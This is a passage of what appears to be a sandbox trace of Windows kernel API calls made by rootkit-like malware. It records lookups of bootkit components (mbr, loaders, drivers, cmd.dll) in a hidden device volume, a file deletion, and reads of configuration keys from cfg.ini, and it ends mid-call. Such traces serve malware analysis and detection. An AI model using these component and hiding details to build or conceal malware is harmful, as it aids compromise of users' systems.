[0120.165] KeEnterCriticalRegion () [0120.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.166] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.166] IdePortDispatch () returned 0x103 [0120.166] KeWaitForMutexObject () returned 0x0 [0120.166] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.166] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.166] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.166] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.166] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.166] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.166] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.166] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.166] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.166] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.166] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.166] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.166] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.166] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.166] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.166] KeLeaveCriticalRegion () [0120.166] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.167] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.167] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.167] KeEnterCriticalRegion () [0120.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.167] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.167] IdePortDispatch () returned 0x103 [0120.167] KeWaitForMutexObject () returned 0x0 [0120.167] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.167] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.167] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.167] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.167] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.167] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.167] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.167] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.167] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.167] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.167] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.167] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.167] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.167] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.167] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.167] KeLeaveCriticalRegion () [0120.167] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.167] ReleaseMutex (hMutex=0x100) returned 1 [0120.167] Sleep (dwMilliseconds=0x2bf20) [0120.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ad21770, dwHighDateTime=0x1d24fa4)) [0120.173] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.173] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.174] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.174] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.174] KeEnterCriticalRegion () [0120.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.174] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.174] IdePortDispatch () returned 0x103 [0120.174] KeWaitForMutexObject () returned 0x0 [0120.174] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.174] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.174] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.174] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.174] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.174] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2480 [0120.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.174] KeLeaveCriticalRegion () [0120.174] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.174] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.174] KeEnterCriticalRegion () [0120.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.174] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.174] KeLeaveCriticalRegion () [0120.174] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.174] KeEnterCriticalRegion () [0120.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.174] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.175] IdePortDispatch () returned 0x103 [0120.175] KeWaitForMutexObject () returned 0x0 [0120.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.175] KeLeaveCriticalRegion () [0120.175] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.175] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.175] KeEnterCriticalRegion () [0120.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.175] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800340b000 [0120.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.175] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.175] IdePortDispatch () returned 0x103 [0120.175] KeWaitForMutexObject () returned 0x0 [0120.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.175] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.175] IdePortDispatch () returned 0x103 [0120.175] KeWaitForMutexObject () returned 0x0 [0120.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.176] KeLeaveCriticalRegion () [0120.176] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.176] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.176] KeEnterCriticalRegion () [0120.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.176] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.176] KeLeaveCriticalRegion () [0120.176] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.176] KeEnterCriticalRegion () [0120.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.176] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.176] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.176] KeLeaveCriticalRegion () [0120.176] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.176] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.176] KeEnterCriticalRegion () [0120.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.176] ExFreePoolWithTag (P=0xfffffa8003bc2480, Tag=0x0) [0120.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.176] KeLeaveCriticalRegion () [0120.176] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.176] ReleaseMutex (hMutex=0xf0) returned 1 [0120.176] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.176] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.177] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.177] KeEnterCriticalRegion () [0120.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.177] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.177] IdePortDispatch () returned 0x103 [0120.177] KeWaitForMutexObject () returned 0x0 [0120.177] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.177] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.177] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.177] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.177] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.177] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003355290 [0120.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.177] KeLeaveCriticalRegion () [0120.177] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.177] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.177] KeEnterCriticalRegion () [0120.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.177] KeLeaveCriticalRegion () [0120.177] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.177] KeEnterCriticalRegion () [0120.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.177] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.177] IdePortDispatch () returned 0x103 [0120.177] KeWaitForMutexObject () returned 0x0 [0120.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.178] KeLeaveCriticalRegion () [0120.178] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.178] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.178] KeEnterCriticalRegion () [0120.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800340c000 [0120.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.178] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.178] IdePortDispatch () returned 0x103 [0120.178] KeWaitForMutexObject () returned 0x0 [0120.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.178] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.178] IdePortDispatch () returned 0x103 [0120.178] KeWaitForMutexObject () returned 0x0 [0120.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.178] KeLeaveCriticalRegion () [0120.178] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.179] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.179] KeEnterCriticalRegion () [0120.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.179] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.179] KeLeaveCriticalRegion () [0120.179] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.179] KeEnterCriticalRegion () [0120.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.179] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.179] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.179] KeLeaveCriticalRegion () [0120.179] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.179] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.179] KeEnterCriticalRegion () [0120.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.179] ExFreePoolWithTag (P=0xfffffa8003355290, Tag=0x0) [0120.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.179] KeLeaveCriticalRegion () [0120.179] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.179] ReleaseMutex (hMutex=0xf0) returned 1 [0120.179] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.179] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.179] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.179] KeEnterCriticalRegion () [0120.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.179] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.179] IdePortDispatch () returned 0x103 [0120.180] KeWaitForMutexObject () returned 0x0 [0120.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.180] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.180] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.180] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.180] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.180] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.180] KeLeaveCriticalRegion () [0120.180] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.180] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.180] KeEnterCriticalRegion () [0120.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.180] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.180] KeLeaveCriticalRegion () [0120.180] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.180] KeEnterCriticalRegion () [0120.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.180] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.180] IdePortDispatch () returned 0x103 [0120.180] KeWaitForMutexObject () returned 0x0 [0120.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.180] KeLeaveCriticalRegion () [0120.180] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.181] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.181] KeEnterCriticalRegion () [0120.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800340d000 [0120.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.181] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.181] IdePortDispatch () returned 0x103 [0120.181] KeWaitForMutexObject () returned 0x0 [0120.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, 